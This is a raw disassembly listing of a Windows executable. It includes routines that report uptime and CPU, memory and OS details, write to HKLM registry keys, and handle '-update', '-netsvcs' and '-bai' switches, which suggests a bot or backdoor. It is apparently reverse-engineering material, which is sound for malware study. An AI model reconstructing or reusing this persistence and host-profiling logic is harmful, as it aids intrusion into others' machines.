		push	0Ch
		push	2
		push	1
		push	0Eh
		lea	edx, [esp+1B4h+var_178]
		push	1Fh
		push	edx
		call	sub_4019B5
		add	esp, 30h
		lea	ecx, [esp+18Ch+var_A0]
		push	edi
		push	ecx
		push	1
		push	0
		mov	ecx, eax
		mov	[esp+19Ch+var_18], 1Fh
		call	sub_4017E4
		mov	edx, [esp+19Ch+var_17C]
		push	eax
		push	edx
		nop
		call	near ptr 2940000h
		lea	ecx, [esp+1A4h+var_190]
		mov	[esp+1A4h+var_30], 1Dh
		call	sub_401226
		mov	eax, [esp+1A4h+var_194]
		mov	edi, dword_50F738
		push	eax
		call	edi
		lea	ecx, [esp+1A8h+var_198]
		push	ecx
		push	0F003Fh
		push	0
		lea	ecx, [esp+1B4h+var_130]
		call	sub_4017E4
		push	eax
		push	80000002h
		call	esi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	5
		push	14h
		push	1
		push	13h
		lea	edx, [esp+1E0h+var_1A8]
		push	2Dh
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1BCh+var_48], 20h
		call	sub_4017E4
		mov	ebp, dword_50F764
		push	eax
		mov	eax, [esp+1C0h+var_1AC]
		push	eax
		call	ebp
		lea	ecx, [esp+1C4h+var_1B0]
		mov	[esp+1C4h+var_50], 1Dh
		call	sub_401226
		mov	ecx, [esp+1C4h+var_1B4]
		push	ecx
		call	edi
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	48h
		push	0Eh
		push	15h
		push	12h
		lea	edx, [esp+1ECh+var_1B4]
		push	9
		push	edx
		call	sub_4019B5
		add	esp, 2Ch
		mov	ecx, eax
		mov	[esp+1C8h+var_54], 21h
		call	sub_4017E4
		push	eax
		call	sub_4015FA
sub_404C70	endp

; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 14244C8Dh, 742484C6h, 1D000001h, 0FFB709E8h,	244C8DFFh
		dd 0B8FEE844h, 22B3FFFFh, 10468h, 1046800h, 4C8D0000h
		dd 9C884C24h, 17C24h, 0C11BE800h, 9050FFFFh, 3DAEC0E8h
		dd 6A006A02h, 6A186A05h, 6A4E6A05h, 6A0E6A48h, 8D126A15h
		dd 6A382444h, 4EE85009h, 83FFFFBEh, 0C88B2CC4h,	742484C6h
		dd 23000001h, 0FFBC6BE8h, 4C8D50FFh, 61E84824h,	50FFFFBCh
		dd 4C244C8Dh, 44368468h, 9AE85100h, 83FFFFB4h, 4C8D10C4h
		dd 9C881424h, 17424h, 0B680E800h, 4C8DFFFFh, 0D2E84424h
		dd 50FFFFBAh, 0ABFEE890h, 548D023Dh, 4C8D1024h,	68527824h
		dd 0F003Fh, 19E8006Ah, 50FFFFBCh, 268h,	6AD6FF80h, 6A056A00h
		dd 6A056A18h, 6A056A4Eh, 8D016A14h, 6A342444h, 0C6E85012h
		dd 83FFFFBDh, 0C88B28C4h, 742484C6h, 24000001h,	0FFBBE3E8h
		dd 244C8BFFh, 0FF515010h, 244C8DD5h, 249C8814h,	174h, 0FFB60DE8h
		dd 24548BFFh, 0D7FF5210h, 56A006Ah, 56A186Ah, 486A4E6Ah
		dd 486A0E6Ah, 126A496Ah, 456A456Ah, 4424448Dh, 0E850096Ah
		dd 0FFFFBD71h, 8B38C483h, 2484C6C8h, 174h, 0BB8EE825h
		dd 0E850FFFFh, 0FFFFB99Eh, 8D04C483h, 8814244Ch, 174249Ch
		dd 0B7E80000h, 68FFFFB5h, 104h,	10468h,	244C8D00h, 0BFDBE84Ch
		dd 9050FFFFh, 3DAD80E8h, 6A006A02h, 6A186A05h, 6A4E6A05h
		dd 6A0E6A48h, 6A496A48h, 6A456A12h, 244C8D45h, 51096A44h
		dd 0FFBD08E8h, 38C483FFh, 84C6C88Bh, 17424h, 25E82600h
		dd 50FFFFBBh, 48244C8Dh, 0FFBB1BE8h, 548D50FFh,	84684C24h
		dd 52004436h, 0FFB354E8h, 10C483FFh, 14244C8Dh,	74249C88h
		dd 0E8000001h, 0FFFFB53Ah, 44244C8Dh, 0FFB98CE8h, 0B9E850FFh
		dd 90023DAAh, 1024448Dh, 78244C8Dh, 3F6850h, 6A000Fh, 0FFBAD3E8h
		dd 26850FFh, 0FF800000h, 6A006AD6h, 6A186A05h, 6A4E6A05h
		dd 6A146A05h, 8D136A01h, 6A38244Ch, 7EE85113h, 83FFFFBCh
		dd 0C88B2CC4h, 742484C6h, 27000001h, 0FFBA9BE8h, 24548BFFh
		dd 0FF525010h, 244C8DD5h, 249C8814h, 174h, 0FFB4C5E8h
		dd 24448BFFh, 0D7FF5010h, 56A006Ah, 56A186Ah, 136A4E6Ah
		dd 136A196Ah, 96A0E6Ah,	3C244C8Dh, 0E851176Ah, 0FFFFBC2Dh
		dd 8B30C483h, 2484C6C8h, 174h, 0BA4AE828h, 0E850FFFFh
		dd 0FFFFB85Ah, 8D04C483h, 8814244Ch, 174249Ch, 73E80000h
		dd 68FFFFB4h, 104h, 10468h, 244C8D00h, 0BE97E84Ch, 9050FFFFh
		dd 3DAC3CE8h, 6A006A02h, 6A186A05h, 6A4E6A05h, 6A196A13h
		dd 6A0E6A13h, 24548D09h, 52176A3Ch, 0FFBBC8E8h,	30C483FFh
		dd 84C6C88Bh, 17424h, 0E5E82900h, 50FFFFB9h, 48244C8Dh
		dd 0FFB9DBE8h, 448D50FFh, 84684C24h, 50004436h,	0FFB214E8h
		dd 10C483FFh, 14244C8Dh, 74249C88h, 0E8000001h,	0FFFFB3FAh
		dd 44244C8Dh, 0FFB84CE8h, 0E89050FFh, 23DA978h,	10244C8Dh
		dd 3F6851h, 6A000Fh, 84248C8Dh,	0E8000000h, 0FFFFB990h
		dd 26850h, 0D6FF8000h, 56A006Ah, 56A186Ah, 56A4E6Ah, 16A146Ah
		dd 106A046Ah, 46A156Ah,	548D476Ah, 46A4824h, 0BB33E852h
		dd 0C483FFFFh, 0C6C88B3Ch, 1742484h, 0E82A0000h, 0FFFFB950h
		dd 24448B50h, 0D5FF5014h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB37Ah, 10244C8Bh, 6AD7FF51h, 6A056A00h,	6A056A18h
		dd 6A056A4Eh, 6A076A0Ch, 6A056A01h, 24548D02h, 52026A40h
		dd 0FFBAE0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0FDE82B00h
		dd 50FFFFB8h, 0FFB70DE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB326h, 10468h, 1046800h, 4C8D0000h
		dd 4AE84C24h, 50FFFFBDh, 3DAAF0E8h, 6A9002h, 186A056Ah
		dd 4E6A056Ah, 0C6A056Ah, 16A076Ah, 26A056Ah, 4024448Dh
		dd 0E850026Ah, 0FFFFBA79h, 8B34C483h, 2484C6C8h, 174h
		dd 0B896E82Ch, 8D50FFFFh, 0E848244Ch, 0FFFFB88Ch, 244C8D50h
		dd 3684684Ch, 0E8510044h, 0FFFFB0C5h, 8D10C483h, 8814244Ch
		dd 174249Ch, 0ABE80000h, 8DFFFFB2h, 0E844244Ch,	0FFFFB6FDh
		dd 29E89050h, 8D023DA8h, 8D102454h, 5278244Ch, 0F003F68h
		dd 0E8006A00h, 0FFFFB844h, 26850h, 0D6FF8000h, 0E6A006Ah
		dd 276A0F6Ah, 136A0B6Ah, 448D016Ah, 2E6A3024h, 0B9F3E850h
		dd 0C483FFFFh, 0C6C88B24h, 1742484h, 0E82D0000h, 0FFFFB810h
		dd 10244C8Bh, 0D5FF5150h, 14244C8Dh, 74249C88h,	0E8000001h
		dd 0FFFFB23Ah, 1024548Bh, 6AD7FF52h, 6A056A00h,	6A056A18h
		dd 6A0E6A4Eh, 6A0D6A0Fh, 6A136A0Bh, 24448D01h, 50146A40h
		dd 0FFB9A0E8h, 34C483FFh, 84C6C88Bh, 17424h, 0BDE82E00h
		dd 50FFFFB7h, 0FFB5CDE8h, 4C483FFh, 14244C8Dh, 74249C88h
		dd 0E8000001h, 0FFFFB1E6h, 10468h, 1046800h, 4C8D0000h
		dd 0AE84C24h, 50FFFFBCh, 0A9AFE890h, 6A023Dh, 186A056Ah
		dd 4E6A056Ah, 0F6A0E6Ah, 0B6A0D6Ah, 16A136Ah, 40244C8Dh
		dd 0E851146Ah, 0FFFFB939h, 8B34C483h, 2484C6C8h, 174h
		dd 0B756E82Fh, 8D50FFFFh, 0E848244Ch, 0FFFFB74Ch, 36846850h
		dd 548D0044h, 0E8525024h, 0FFFFAF85h, 8D10C483h, 8814244Ch
		dd 174249Ch, 6BE80000h,	8DFFFFB1h, 0E844244Ch, 0FFFFB5BDh
		dd 0A6EAE850h, 8D90023Dh, 8D102444h, 5078244Ch,	0F003F68h
		dd 0E8006A00h, 0FFFFB704h, 26850h, 0D6FF8000h, 126A006Ah
		dd 126A056Ah, 0C6A0F6Ah, 186A106Ah, 0B0248C8Dh,	6A000000h
		dd 0AEE8511Fh, 83FFFFB8h, 0C88B28C4h, 742484C6h, 30000001h
		dd 0FFB6CBE8h, 24548BFFh, 0FF525010h, 248C8DD5h, 90h, 74249C88h
		dd 0E8000001h, 0FFFFB0F2h, 1024448Bh, 8BD7FF50h, 50FB0435h
		dd 36686800h, 0D6FF0044h, 44364C68h, 68D6FF00h,	44362Ch
		dd 868D6FFh, 0FF004436h, 10C483D6h, 44244C8Dh, 742484C6h
		dd 1D000001h, 0FFB0B5E8h, 244C8DFFh, 2484C778h,	174h, 0FFFFFFFFh
		dd 0FFB0A1E8h, 0E901B0FFh, 0FFFFF4E9h, 90909090h, 154h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_4066E0	proc near		; CODE XREF: sub_40194Cj

var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_4066E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 1Ch
		push	ebx
		push	ebp
		push	esi
		xor	ebx, ebx
		push	edi
		lea	ecx, [esp+38h+var_24]
		mov	[esp+38h+var_28], ebx
		call	sub_401424
		mov	esi, [esp+38h+arg_4]
		mov	ebp, 1
		cmp	esi, ebx
		mov	[esp+38h+var_4], ebp
		jnz	short loc_406731
		mov	esi, [esp+38h+arg_0]
		push	ebx
		mov	ecx, esi
		call	sub_4020F4
		mov	[esp+38h+var_28], ebp
		jmp	loc_4067D7
; ---------------------------------------------------------------------------


loc_406731:				; CODE XREF: sub_4066E0+3Aj
		call	near ptr 27E0716h
		nop
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	ecx, edx
		mov	eax, 0C22E4507h
		shr	ecx, 6
		imul	ecx
		add	edx, ecx
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	edi, edx
		cmp	edi, esi
		jl	short loc_4067C3
		mov	eax, ecx
		mov	ecx, 15180h
		cdq
		idiv	ecx
		mov	esi, 0E10h
		mov	ecx, edx
		mov	eax, ecx
		cdq
		idiv	esi
		mov	eax, 88888889h
		mov	esi, edx
		imul	esi
		add	edx, esi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		push	edx
		push	edi
		lea	edx, [esp+44h+var_24]
		push	offset aUpDdDhDm ; "up:	%dd %dh	%dm"
		push	edx
		call	sub_40102D
		mov	esi, [esp+4Ch+arg_0]
		add	esp, 14h
		lea	eax, [esp+38h+var_24]
		mov	ecx, esi
		push	eax
		call	sub_4014C9
		jmp	short loc_4067D3
; ---------------------------------------------------------------------------


loc_4067C3:				; CODE XREF: sub_4066E0+7Cj
		mov	esi, [esp+38h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861


loc_4067D3:				; CODE XREF: sub_4066E0+E1j
		mov	[esp+38h+var_28], ebp


loc_4067D7:				; CODE XREF: sub_4066E0+4Cj
		lea	ecx, [esp+38h+var_24]
		mov	byte ptr [esp+38h+var_4], bl
		call	sub_401226
		mov	ecx, [esp+38h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 28h
		retn	8
sub_4066E0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406850:				; CODE XREF: ___:00401668j
		push	ecx
		push	esi
		mov	esi, [esp+0Ch]
		push	offset byte_446F60
		mov	ecx, esi
		mov	dword ptr [esp+8], 0
		call	sub_401861
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406890	proc near		; CODE XREF: sub_401F3Cj

var_198		= dword	ptr -198h
var_194		= dword	ptr -194h
var_190		= dword	ptr -190h
var_18C		= byte ptr -18Ch
var_174		= byte ptr -174h
var_164		= byte ptr -164h
var_14C		= byte ptr -14Ch
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_406890
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 18Ch
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+1A4h+var_18C]
		mov	[esp+1A4h+var_198], 0
		call	sub_401424
		mov	[esp+1A4h+var_4], 1
		nop
		call	near ptr 27E0716h
		mov	ecx, eax
		mov	eax, 10624DD3h
		mul	ecx
		mov	esi, edx
		lea	edx, [esp+1A4h+var_14C]
		push	edx
		mov	[esp+1A8h+var_190], 10h
		shr	esi, 6
		mov	[esp+1A8h+var_194], 15h
		nop
		call	near ptr 2820000h
		lea	eax, [esp+1A4h+var_12C]
		mov	[esp+1A4h+var_12C], 94h
		push	eax
		nop
		call	near ptr 2810000h
		mov	eax, [esp+1A4h+var_128]
		cmp	eax, 4
		jnz	short loc_40695E
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406946
		mov	eax, [esp+1A4h+var_11C]
		cmp	eax, 1
		jnz	short loc_406936
		mov	ebp, offset a95	; "95"
		jmp	loc_4069D1
; ---------------------------------------------------------------------------


loc_406936:				; CODE XREF: sub_406890+9Aj
		cmp	eax, 2
		jnz	loc_4069CD
		mov	ebp, offset aNt	; "NT"
		jmp	short loc_40699A
; ---------------------------------------------------------------------------


loc_406946:				; CODE XREF: sub_406890+8Ej
		cmp	eax, 0Ah
		jnz	short loc_406952
		mov	ebp, offset a98	; "98"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406952:				; CODE XREF: sub_406890+B9j
		cmp	eax, 5Ah
		jnz	short loc_40698B
		mov	ebp, offset aMe	; "ME"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_40695E:				; CODE XREF: sub_406890+83j
		cmp	eax, 5
		jnz	short loc_40698B
		mov	eax, [esp+1A4h+var_124]
		test	eax, eax
		jnz	short loc_406975
		mov	ebp, offset a2000 ; "2000"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406975:				; CODE XREF: sub_406890+DCj
		cmp	eax, 1
		jnz	short loc_406981
		mov	ebp, offset aXp	; "XP"
		jmp	short loc_406990
; ---------------------------------------------------------------------------


loc_406981:				; CODE XREF: sub_406890+E8j
		cmp	eax, 2
		mov	ebp, offset a2003 ; "2003"
		jz	short loc_406990


loc_40698B:				; CODE XREF: sub_406890+C5j
					; sub_406890+D1j
		mov	ebp, offset a??? ; "???"


loc_406990:				; CODE XREF: sub_406890+C0j
					; sub_406890+CCj ...
		cmp	[esp+1A4h+var_11C], 2
		jnz	short loc_4069D1


loc_40699A:				; CODE XREF: sub_406890+B4j
		mov	al, [esp+1A4h+var_118]
		test	al, al
		jz	short loc_4069D1
		lea	ecx, [esp+1A4h+var_118]
		lea	edx, [esp+1A4h+var_98]
		push	ecx
		push	ebp
		push	offset aSS_2	; "%s [%s]"
		push	edx
		call	near ptr byte_5EA1BD
		nop
		add	esp, 10h
		lea	ebp, [esp+1A4h+var_98]
		jmp	short loc_4069D1
; ---------------------------------------------------------------------------


loc_4069CD:				; CODE XREF: sub_406890+A9j
		mov	ebp, [esp+1A4h+var_198]


loc_4069D1:				; CODE XREF: sub_406890+A1j
					; sub_406890+108j ...
		lea	eax, [esp+1A4h+var_190]
		lea	ecx, [esp+1A4h+var_174]
		push	eax
		push	ecx
		nop
		call	near ptr 280125Ah
		lea	edx, [esp+1A4h+var_194]
		lea	eax, [esp+1A4h+var_164]
		push	edx
		push	eax
		call	near ptr 2920E14h
		nop
		mov	eax, esi
		mov	ecx, 15180h
		cdq
		idiv	ecx
		lea	eax, [esp+1A4h+var_174]
		mov	edi, 0E10h
		mov	ecx, edx
		lea	edx, [esp+1A4h+var_164]
		push	edx
		push	eax
		mov	eax, ecx
		cdq
		idiv	edi
		mov	eax, 88888889h
		mov	edi, edx
		imul	edi
		add	edx, edi
		sar	edx, 5
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, 91A2B3C5h
		push	edx
		imul	ecx
		add	edx, ecx
		mov	eax, 0C22E4507h
		sar	edx, 0Bh
		mov	ecx, edx
		shr	ecx, 1Fh
		add	edx, ecx
		mov	ecx, [esp+1B0h+var_120]
		push	edx
		imul	esi
		add	edx, esi
		sar	edx, 10h
		mov	eax, edx
		shr	eax, 1Fh
		add	edx, eax
		mov	eax, [esp+1B4h+var_128]
		push	edx
		mov	edx, [esp+1B8h+var_124]
		push	ecx
		mov	ecx, [esp+1BCh+var_144]
		push	edx
		push	eax
		mov	eax, 804021h
		push	ebp
		mul	ecx
		sub	ecx, edx
		mov	eax, 804021h
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		mov	ecx, [esp+1CCh+var_140]
		mul	ecx
		sub	ecx, edx
		shr	ecx, 1
		add	ecx, edx
		shr	ecx, 13h
		push	ecx
		call	sub_4017F3
		push	eax
		lea	ecx, [esp+1D4h+var_18C]
		push	offset aCpuDmhz_Memory ; "CPU: %dMHz. Memory: %dMB/%dMB. OS: Win "...
		push	ecx
		call	sub_40102D
		mov	esi, [esp+1DCh+arg_0]
		add	esp, 38h
		lea	edx, [esp+1A4h+var_18C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+1A4h+var_198], 1
		lea	ecx, [esp+1A4h+var_18C]
		mov	byte ptr [esp+1A4h+var_4], 0
		call	sub_401226
		mov	ecx, [esp+1A4h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		add	esp, 198h
		retn	4
sub_406890	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406BA0	proc near		; CODE XREF: sub_4015DCj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E008
		mov	dword ptr [eax+110h], 0
		retn
sub_406BA0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_406BD0:				; CODE XREF: ___:00401F8Cj
		push	esi
		mov	esi, ecx
		call	sub_40143D
		test	byte ptr [esp+8], 1
		jz	short loc_406BE8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406BE8:				; CODE XREF: ___:00406BDDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_406C00	proc near		; CODE XREF: sub_40143Dj
		mov	dword ptr [ecx], offset	off_43E008
		mov	ecx, [ecx+110h]
		test	ecx, ecx
		jz	short locret_406C17
		push	ecx
		call	sub_4367E2
; ---------------------------------------------------------------------------
		pop	ecx

locret_406C17:				; CODE XREF: sub_406C00+Ej
		retn
sub_406C00	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_406C30	proc near		; CODE XREF: sub_401384j

arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_406C30
		push	eax
		mov	large fs:0, esp
		sub	esp, 448h
		push	ebx
		mov	ebx, ecx
		mov	eax, [ebx+110h]
		test	eax, eax
		jz	short loc_406C61
		push	eax
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_406C61:				; CODE XREF: sub_406C30+26j
		push	ebp
		push	esi
		mov	esi, [esp+460h+arg_0]
		push	edi
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
sub_406C30	endp

; ---------------------------------------------------------------------------
		mov	edx, eax
		mov	edi, esi
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		mov	[ebx+110h], edx
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		xor	eax, eax
		and	ecx, 3
		rep movsb
		mov	edi, [ebx+110h]
		or	ecx, 0FFFFFFFFh
		mov	byte ptr [ebx+4], 0
		mov	dword ptr [ebx+5], 0
		mov	byte ptr [ebx+9], 0
		mov	byte ptr [ebx+0Ah], 0
		mov	byte ptr [ebx+0Bh], 0
		repne scasb
		not	ecx
		push	ecx
		call	sub_4367FA
; ---------------------------------------------------------------------------
		mov	edi, [ebx+110h]
		mov	edx, eax
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	ebp, dword_50FAF4
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		push	offset asc_443600 ; " "
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		push	edx
		and	ecx, 3
		rep movsb
		call	ebp
		add	esp, 10h
		mov	[esp+58h], eax
		lea	esi, [esp+5Ch]
		mov	edi, 0FFh


loc_406D12:				; CODE XREF: ___:00406D24j
		push	offset asc_443600 ; " "
		push	0
		call	ebp
		mov	[esi], eax
		add	esp, 8
		add	esi, 4
		dec	edi
		jnz	short loc_406D12
		mov	eax, [esp+58h]
		xor	ecx, ecx
		cmp	eax, ecx
		jz	loc_406F18
		lea	ebp, [esp+58h]


loc_406D38:				; CODE XREF: ___:00406F10j
		mov	edi, [ebp+0]
		mov	esi, offset dword_4437EC
		mov	eax, edi


loc_406D42:				; CODE XREF: ___:00406D60j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D66
		test	cl, cl
		jz	short loc_406D62
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D66
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D42


loc_406D62:				; CODE XREF: ___:00406D4Cj
		xor	eax, eax
		jmp	short loc_406D6B
; ---------------------------------------------------------------------------


loc_406D66:				; CODE XREF: ___:00406D48j
					; ___:00406D56j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406D6B:				; CODE XREF: ___:00406D64j
		test	eax, eax
		jz	loc_406F08
		mov	esi, offset aUpdate ; "-update"
		mov	eax, edi


loc_406D7A:				; CODE XREF: ___:00406D98j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406D9E
		test	cl, cl
		jz	short loc_406D9A
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406D9E
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406D7A


loc_406D9A:				; CODE XREF: ___:00406D84j
		xor	eax, eax
		jmp	short loc_406DA3
; ---------------------------------------------------------------------------


loc_406D9E:				; CODE XREF: ___:00406D80j
					; ___:00406D8Ej
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DA3:				; CODE XREF: ___:00406D9Cj
		test	eax, eax
		jnz	short loc_406DB0
		mov	byte ptr [ebx+9], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DB0:				; CODE XREF: ___:00406DA5j
		mov	esi, offset aNetsvcs ; "-netsvcs"
		mov	eax, edi


loc_406DB7:				; CODE XREF: ___:00406DD5j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406DDB
		test	cl, cl
		jz	short loc_406DD7
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406DDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DB7


loc_406DD7:				; CODE XREF: ___:00406DC1j
		xor	eax, eax
		jmp	short loc_406DE0
; ---------------------------------------------------------------------------


loc_406DDB:				; CODE XREF: ___:00406DBDj
					; ___:00406DCBj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406DE0:				; CODE XREF: ___:00406DD9j
		test	eax, eax
		jnz	short loc_406DED
		mov	byte ptr [ebx+0Ah], 1
		jmp	loc_406F08
; ---------------------------------------------------------------------------


loc_406DED:				; CODE XREF: ___:00406DE2j
		mov	esi, offset aBai ; "-bai"
		mov	eax, edi


loc_406DF4:				; CODE XREF: ___:00406E12j
		mov	dl, [eax]
		mov	cl, dl
		cmp	dl, [esi]
		jnz	short loc_406E18
		test	cl, cl
		jz	short loc_406E14
		mov	dl, [eax+1]
		mov	cl, dl
		cmp	dl, [esi+1]
		jnz	short loc_406E18
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_406DF4


loc_406E14:				; CODE XREF: ___:00406DFEj
		xor	eax, eax
		jmp	short loc_406E1D
; ---------------------------------------------------------------------------


loc_406E18:				; CODE XREF: ___:00406DFAj
					; ___:00406E08j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_406E1D:				; CODE XREF: ___:00406E16j
		test	eax, eax
		jnz	loc_406F08
		lea	ecx, [esp+10h]
		call	sub_401424
		mov	eax, [esp+468h]
		push	offset aBai	; "-bai"
		push	eax
		mov	dword ptr [esp+468h], 0
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_406EF4
		push	eax
		lea	ecx, [esp+14h]
		call	sub_4015D7
		push	1
		push	offset asc_443600 ; " "
		lea	ecx, [esp+30h]
		push	1
		push	ecx
		lea	ecx, [esp+20h]
		call	sub_4011EA
		push	offset byte_446F60
		mov	ecx, eax
		mov	byte ptr [esp+464h], 1
		call	sub_4012EE
		lea	ecx, [esp+28h]
		mov	esi, eax
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		test	esi, esi
		jz	short loc_406EF4
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+48h]
		push	1
		push	edx
		lea	ecx, [esp+20h]
		mov	byte ptr [ebx+0Bh], 1
		call	sub_4011EA
		push	104h
		mov	ecx, eax
		mov	byte ptr [esp+464h], 2
		call	sub_401681
		push	eax
		lea	eax, [ebx+0Ch]
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		lea	ecx, [esp+40h]
		mov	byte ptr [esp+460h], 0
		call	sub_401226
		add	ebp, 4


loc_406EF4:				; CODE XREF: ___:00406E51j
					; ___:00406EA1j
		lea	ecx, [esp+10h]
		mov	dword ptr [esp+460h], 0FFFFFFFFh
		call	sub_401226


loc_406F08:				; CODE XREF: ___:00406D6Dj
					; ___:00406DABj ...
		mov	eax, [ebp+4]
		add	ebp, 4
		test	eax, eax
		jnz	loc_406D38
		xor	ecx, ecx


loc_406F18:				; CODE XREF: ___:00406D2Ej
		mov	al, [ebx+4]
		pop	edi
		pop	esi
		pop	ebp
		test	al, al
		jnz	short loc_406F25
		mov	[ebx+5], ecx


loc_406F25:				; CODE XREF: ___:00406F20j
		cmp	[ebx+5], ecx
		jnz	short loc_406F35
		test	al, al
		jz	short loc_406F35
		mov	dword ptr [ebx+5], 0Ah


loc_406F35:				; CODE XREF: ___:00406F28j
					; ___:00406F2Cj
		mov	[ebx+5], ecx
		mov	ecx, [esp+44Ch]
		mov	byte ptr [ebx+4], 0
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 454h
		retn	4
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 0D0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_407030	proc near		; CODE XREF: sub_40209Fj

var_11		= byte ptr -11h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_407030
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	[esp+18h+var_10], esi
		call	sub_4011B3
		lea	ecx, [esi+4]
		call	sub_401749
		lea	eax, [esp+18h+var_11]
		lea	ecx, [esi+32h]
		push	eax
		mov	[esp+1Ch+var_4], 0
		call	sub_401564
sub_407030	endp

; ---------------------------------------------------------------------------
		mov	ecx, [esp+0Ch]
		mov	dword ptr [esi], offset	off_43E00C
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 20h dup(0CCh)

